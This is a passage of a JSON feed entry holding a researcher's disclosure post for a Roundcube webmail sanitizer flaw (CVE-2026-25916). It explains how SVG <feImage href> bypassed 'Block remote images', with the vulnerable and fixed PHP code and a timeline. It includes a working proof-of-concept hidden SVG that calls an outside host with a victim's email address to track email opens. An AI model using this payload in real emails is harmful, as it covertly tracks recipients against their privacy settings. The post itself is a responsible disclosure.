class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;t\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003efeImage\u003c/span\u003e \u003cspan class=\"na\"\u003ehref\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;https://httpbin.org/image/svg?email=victim@test.com\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e               \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003efilter\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003edefs\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e \u003cspan class=\"na\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;url(#t)\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe browser evaluates the SVG filter and fires a GET to the attacker\u0026rsquo;s URL.\u003c/p\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003ca href=\"#impact\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe \u0026ldquo;Block remote images\u0026rdquo; setting doesn\u0026rsquo;t block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.\u003c/p\u003e\n\u003ch2 id=\"remediation\"\u003eRemediation\u003ca href=\"#remediation\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/26d7677\"\u003e\u003ccode\u003e26d7677\u003c/code\u003e\u003c/a\u003e) collapses the two separate \u003ccode\u003euse\u003c/code\u003e/\u003ccode\u003eimage\u003c/code\u003e checks into a single regex that includes \u003ccode\u003efeimage\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L478\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^(feimage|image|use)$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e \u003cspan class=\"c1\"\u003e// SVG\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow \u003ccode\u003e\u0026lt;feImage href\u0026gt;\u003c/code\u003e hits \u003ccode\u003eis_image_attribute()\u003c/code\u003e first, gets routed through \u003ccode\u003ewash_uri()\u003c/code\u003e, and the remote URL is blocked.\u003c/p\u003e\n\u003cp\u003eUpdate to 1.5.13 or 1.6.13.\u003c/p\u003e\n\u003ch2 id=\"timeline\"\u003eTimeline\u003ca href=\"#timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eDate\u003c/th\u003e\n          \u003cth\u003eEvent\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-04\u003c/td\u003e\n          \u003ctd\u003eReported to Roundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n          \u003ctd\u003e1.5.13 and 1.6.13 released\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n          \u003ctd\u003eThis post\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-09\u003c/td\u003e\n          \u003ctd\u003eCVE-2026-25916 assigned\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eThe SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked.\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003eIt\u0026rsquo;s an SVG filter primitive that loads an external image and uses it as input to a filter chain (\u003ca href=\"https://www.w3.org/TR/SVG11/filters.html#feImageElement\"\u003espec\u003c/a\u003e). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this.\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eThis matches \u003ccode\u003ehref\u003c/code\u003e on every element, including \u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e. That\u0026rsquo;s the root cause.\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n","content_text":"TL;DR: Roundcube’s rcube_washtml sanitizer blocked external resources on \u003cimg\u003e, \u003cimage\u003e, and \u003cuse\u003e, but not on \u003cfeImage\u003e. Its href went through the wrong code path and got allowed through. Attackers could track email opens even when “Block remote images” was on. Fixed in 1.5.13 and 1.6.13.\nVulnerability information# Field Value Vendor Roundcube Product Roundcube Webmail Affected versions \u003c 1.5.13, 1.6.x \u003c 1.6.13 CVE CVE-2026-25916 Disclosure date 2026-02-08 Background# When allow_remote is false, Roundcube’s sanitizer intercepts image-bearing attributes (src on \u003cimg\u003e, href on \u003cimage\u003e and \u003cuse\u003e) and runs them through is_image_attribute(). That function blocks external URLs.\nSeparately, non-image URLs (like \u003ca href\u003e) go through wash_link(), which lets HTTP/HTTPS URLs through. That’s fine for links the user clicks on intentionally.\nDiscovery# I got bored during my christmas vacation and this SVG-based XSS fix via the animate tag appeared on my radar. One SVG bug usually means more.1 So I spent some time going through rcube_washtml.php, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.\n\u003cfeImage\u003e stood out.2 Its href gets fetched on render, same as \u003cimg src\u003e. But the sanitizer sends it through wash_link() instead of is_image_attribute().\nSo the “Block remote images” setting doesn’t apply to it.\nTechnical details# In wash_attribs(), every attribute hits a chain of checks. The first one that matches wins:\nrcube_washtml.php\nif ($this-\u003eis_image_attribute($node-\u003enodeName, $key)) { $out = $this-\u003ewash_uri($value, true); // blocks remote URLs } elseif ($this-\u003eis_link_attribute($node-\u003enodeName, $key)) { $out = $this-\u003ewash_link($value); // allows http/https } Before the fix, is_image_attribute() looked like this:\nrcube_washtml.php\nprivate function is_image_attribute($tag, $attr) { return $attr == 'background' || $attr == 'color-profile' || ($attr == 'poster' \u0026\u0026 $tag == 'video') || ($attr == 'src' \u0026\u0026 preg_match('/^(img|image|source|input|video|audio)$/i', $tag)) || ($tag == 'use' \u0026\u0026 $attr == 'href') || ($tag == 'image' \u0026\u0026 $attr == 'href'); } The href attribute is only matched for use and image. No feimage.\nAnd is_link_attribute() is a catch-all3:\nrcube_washtml.php\nprivate function is_link_attribute($tag, $attr) { return $attr === 'href'; } So when the sanitizer encounters \u003cfeImage href=\"https://...\"\u003e: is_image_attribute('feimage', 'href') returns false, is_link_attribute('feimage', 'href') returns true, and the URL goes through wash_link() which passes HTTP/HTTPS URLs straight through.\nProof of concept# An invisible 1x1 SVG, positioned off-screen:\n\u003csvg width=\"1\" height=\"1\" style=\"position:absolute;left:-9999px;\"\u003e \u003cdefs\u003e \u003cfilter id=\"t\"\u003e \u003cfeImage href=\"https://httpbin.org/image/svg?email=victim@test.com\" width=\"1\" height=\"1\"/\u003e \u003c/filter\u003e \u003c/defs\u003e \u003crect filter=\"url(#t)\" width=\"1\" height=\"1\"/\u003e \u003c/svg\u003e The browser evaluates the SVG filter and fires a GET to the attacker’s URL.\nImpact# The “Block remote images” setting doesn’t block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.\nRemediation# The fix (26d7677) collapses the two separate use/image checks into a single regex that includes feimage:\nrcube_washtml.php\n|| ($attr == 'href' \u0026\u0026 preg_match('/^(feimage|image|use)$/i', $tag)); // SVG Now \u003cfeImage href\u003e hits is_image_attribute() first, gets routed through wash_uri(), and the remote URL is blocked.\nUpdate to 1.5.13 or 1.6.13.\nTimeline# Date Event 2026-01-04 Reported to Roundcube 2026-02-08 1.5.13 and 1.6.13 released 2026-02-08 This post 2026-02-09 CVE-2026-25916 assigned The SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked. ↩︎\nIt’s an SVG filter primitive that loads an external image and uses it as input to a filter chain (spec). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this. ↩︎\nThis matches href on every element, including \u003cfeImage\u003e. That’s the root cause. ↩︎\n","date_published":"2026-02-08T00:00:00Z","date_modified":"2026-02-09T00:00:00Z","tags":["vulnerability","roundcube","svg","email-security"]}]}